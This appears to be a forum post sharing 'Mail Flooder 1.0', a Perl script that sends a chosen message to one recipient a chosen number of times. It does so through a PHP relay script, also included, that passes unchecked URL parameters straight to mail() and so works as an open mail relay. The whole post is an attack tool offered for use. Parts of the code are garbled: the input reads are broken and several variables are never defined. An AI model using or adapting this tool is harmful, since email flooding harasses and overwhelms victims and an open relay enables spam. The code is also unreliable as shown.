Tool-> Mail Flooder 1.0 - Mail Script(Perl)

Flooder:
use IO::Socket;
print "\n";
print "# Mail Flooder v1.0 #\n";
print "\n";
print "Recipent:";
chomp($rmail=);
print "Subject:";
chomp($subject=);
print "Text:";
chomp($text=);
print "How often should the email be sent:";
chomp($time=);
while ($i<$time) {
$i++;
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"host.de",PeerPort=>"80") or die ("Mail Service closed");
print $socket "GET /sc.php?empf=".$rmail."&subject=".$subject."&text=".$text."&by=".$ymail." HTTP/1.1\n";
print $socket "Host: host.de\n";
print $socket "Connection: close\n\n";
syswrite STDOUT,"+";
}

Mail Script:
$empfaenger = $_GET['empf'];
$betreff =$_GET['subject'];
$text = $_GET['text'];
mail($empfaenger, $betreff, $text,
"from: $sender <$sendermail>");
?>